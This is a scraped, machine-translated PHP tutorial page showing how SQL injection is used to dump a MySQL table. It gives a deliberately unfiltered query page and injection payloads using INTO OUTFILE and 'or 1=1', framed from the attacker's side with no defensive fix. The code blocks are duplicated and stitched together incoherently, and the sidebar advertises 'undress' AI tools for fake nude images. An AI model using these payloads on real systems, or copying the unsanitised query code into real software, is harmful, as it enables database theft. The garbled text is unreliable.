Home Backend Development PHP Tutorial Analysis of SQL injection vulnerability drag library principle for sql security_PHP tutorial

Analysis of SQL injection vulnerability drag library principle for sql security_PHP tutorial

Jul 13, 2016 am 10:46 AM
sql by principle Safety article injection loopholes experience my own parse hacker

This article uses some of my own experience to tell you how hacker friends will use the SQL vulnerability of your database to download your database. Please refer to this article if necessary.

Create a table in the database:

The code is as follows Copy code
 代码如下 复制代码

CREATE TABLE `article` (

  `articleid` int(11) NOT NULL AUTO_INCREMENT,

  `title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

  `content` text CHARACTER SET utf8 NOT NULL,

  PRIMARY KEY (`articleid`)

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

CREATE TABLE `article` (

`articleid` int(11) NOT NULL AUTO_INCREMENT,

`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '',

`content` text CHARACTER SET utf8 NOT NULL,

PRIMARY KEY (`articleid`)
 代码如下 复制代码

$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

$dbname = "test";

$id=$_GET['id'];//id未经过滤

$conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");

mysql_select_db($dbname,$conn);

mysql_query('set names utf8');

$sql = "SELECT * FROM article WHERE articleid='$id'";

$result = mysql_query($sql,$conn);

$row = mysql_fetch_array($result);

echo "

利用SQL注入漏洞拖库

";

       if (!$row){

              echo "该记录不存在";

              exit;

       }

       echo "标题
".$row['title']."

";

       echo "内容
".$row['content']."

";

?>

) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;

 代码如下 复制代码

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

I will not post the code for inserting data into the table. You can download it and import it directly into the database.

Next, write a page that handles user requests. Here, we deliberately do not filter the data submitted by the user, leaving a SQL injection vulnerability for testing.

The code is as follows:

The code is as follows Copy code
$servername = "localhost";

$dbusername = "root";

$dbpassword = "";

 代码如下 复制代码
’ into outfile 'e:/sql.txt'%23
$dbname = "test"; $id=$_GET['id'];//id is not filtered $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed"); mysql_select_db($dbname,$conn); mysql_query('set names utf8'); $sql = "SELECT * FROM article WHERE articleid='$id'"; $result = mysql_query($sql,$conn); $row = mysql_fetch_array($result); echo "

Drag library using SQL injection vulnerability

"; if (!$row){ echo "The record does not exist"; exit; } echo "title
".$row['title']."

"; echo "Content
".$row['content']."

"; ?>

We type directly into the browser:
The code is as follows Copy code
http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1
You can access a record with id 1 in the article table The access results are as follows: Next, we will use this vulnerability (if we don’t know the vulnerability, we can only use tools + manual detection) to demonstrate how to download the article table. Enter in the address bar:

Analysis: %23 is the ASCII code of #. Since entering # directly in the address bar will become empty in the database system, you need to enter %23 in the address bar, then it will become # and then be commented out. The following sql statement.

After running, open the E drive and find an additional sql.txt file. After opening, there is a record in the table article.

Why is there only one record? Does this data table only have one record? This is not the case, because we only retrieve one record with id 1, so can we download all the records in the article table at once?

The answer is yes, as long as your constructed SQL statement is flexible enough (again, the flexibility of constructed SQL statements is brought up).

Analysis, when you enter 'into outfile 'e:/sql.txt'%23 in the URL address bar, it is merged into the sql query statement and becomes:

If you don’t believe it, just do it...
The code is as follows
 代码如下 复制代码


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

Copy code


SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

 代码如下 复制代码
SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#'

After careful analysis, we can construct the SQL statement like this:

 代码如下 复制代码
SELECT * FROM article into outfile 'e:/whf.txt'#'

In this case, the WHERE clause is always true no matter what. In other words, the sql statement is equivalent to the following:

Understood, the sql statement first executes the select statement to retrieve all the contents in the table article, and then executes into outfile 'e:/whf.txt'#' to export the contents.

Using SQL injection vulnerabilities, we can guess the table name, column name, user password length (LEFT function), etc. Of course, if we can directly export all the data in the table like the above demonstration, there is no need. Guess table names, column names, etc. http://www.bkjia.com/PHPjc/632941.htmlwww.bkjia.comtrue
http: //www.bkjia.com/PHPjc/632941.html
TechArticle
This article uses some of my own experience to tell you how hacker friends will use the SQL vulnerability of your database to defeat you Download the database, please refer to this article if necessary. In data...
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Canada plans to ban hacking tool Flipper Zero as car theft problem surges Canada plans to ban hacking tool Flipper Zero as car theft problem surges Jul 17, 2024 am 03:06 AM

This website reported on February 12 that the Canadian government plans to ban the sale of hacking tool FlipperZero and similar devices because they are labeled as tools that thieves can use to steal cars. FlipperZero is a portable programmable test tool that helps test and debug various hardware and digital devices through multiple protocols, including RFID, radio, NFC, infrared and Bluetooth, and has won the favor of many geeks and hackers. Since the release of the product, users have demonstrated FlipperZero's capabilities on social media, including using replay attacks to unlock cars, open garage doors, activate doorbells and clone various digital keys. ▲FlipperZero copies the McLaren keychain and unlocks the car Canadian Industry Minister Franço

Astar staking principle, income dismantling, airdrop projects and strategies & operation nanny-level strategy Astar staking principle, income dismantling, airdrop projects and strategies & operation nanny-level strategy Jun 25, 2024 pm 07:09 PM

Table of Contents Astar Dapp Staking Principle Staking Revenue Dismantling of Potential Airdrop Projects: AlgemNeurolancheHealthreeAstar Degens DAOVeryLongSwap Staking Strategy & Operation "AstarDapp Staking" has been upgraded to the V3 version at the beginning of this year, and many adjustments have been made to the staking revenue rules. At present, the first staking cycle has ended, and the "voting" sub-cycle of the second staking cycle has just begun. To obtain the "extra reward" benefits, you need to grasp this critical stage (expected to last until June 26, with less than 5 days remaining). I will break down the Astar staking income in detail,

How should the Java framework security architecture design be balanced with business needs? How should the Java framework security architecture design be balanced with business needs? Jun 04, 2024 pm 02:53 PM

Java framework design enables security by balancing security needs with business needs: identifying key business needs and prioritizing relevant security requirements. Develop flexible security strategies, respond to threats in layers, and make regular adjustments. Consider architectural flexibility, support business evolution, and abstract security functions. Prioritize efficiency and availability, optimize security measures, and improve visibility.

PHP Microframework: Security Discussion of Slim and Phalcon PHP Microframework: Security Discussion of Slim and Phalcon Jun 04, 2024 am 09:28 AM

In the security comparison between Slim and Phalcon in PHP micro-frameworks, Phalcon has built-in security features such as CSRF and XSS protection, form validation, etc., while Slim lacks out-of-the-box security features and requires manual implementation of security measures. For security-critical applications, Phalcon offers more comprehensive protection and is the better choice.

Security configuration and hardening of Struts 2 framework Security configuration and hardening of Struts 2 framework May 31, 2024 pm 10:53 PM

To protect your Struts2 application, you can use the following security configurations: Disable unused features Enable content type checking Validate input Enable security tokens Prevent CSRF attacks Use RBAC to restrict role-based access

Implementing Machine Learning Algorithms in C++: Security Considerations and Best Practices Implementing Machine Learning Algorithms in C++: Security Considerations and Best Practices Jun 01, 2024 am 09:26 AM

When implementing machine learning algorithms in C++, security considerations are critical, including data privacy, model tampering, and input validation. Best practices include adopting secure libraries, minimizing permissions, using sandboxes, and continuous monitoring. The practical case demonstrates the use of the Botan library to encrypt and decrypt the CNN model to ensure safe training and prediction.

Which wallet is safer for SHIB coins? (Must read for newbies) Which wallet is safer for SHIB coins? (Must read for newbies) Jun 05, 2024 pm 01:30 PM

SHIB coin is no longer unfamiliar to investors. It is a conceptual token of the same type as Dogecoin. With the development of the market, SHIB’s current market value has ranked 12th. It can be seen that the SHIB market is hot and attracts countless investments. investors participate in investment. In the past, there have been frequent transactions and wallet security incidents in the market. Many investors have been worried about the storage problem of SHIB. They wonder which wallet is safer for SHIB coins at the moment? According to market data analysis, the relatively safe wallets are mainly OKXWeb3Wallet, imToken, and MetaMask wallets, which will be relatively safe. Next, the editor will talk about them in detail. Which wallet is safer for SHIB coins? At present, SHIB coins are placed on OKXWe

How to enhance the security of Spring Boot framework How to enhance the security of Spring Boot framework Jun 01, 2024 am 09:29 AM

How to Enhance the Security of SpringBoot Framework It is crucial to enhance the security of SpringBoot applications to protect user data and prevent attacks. The following are several key steps to enhance SpringBoot security: 1. Enable HTTPS Use HTTPS to establish a secure connection between the server and the client to prevent information from being eavesdropped or tampered with. In SpringBoot, HTTPS can be enabled by configuring the following in application.properties: server.ssl.key-store=path/to/keystore.jksserver.ssl.k

See all articles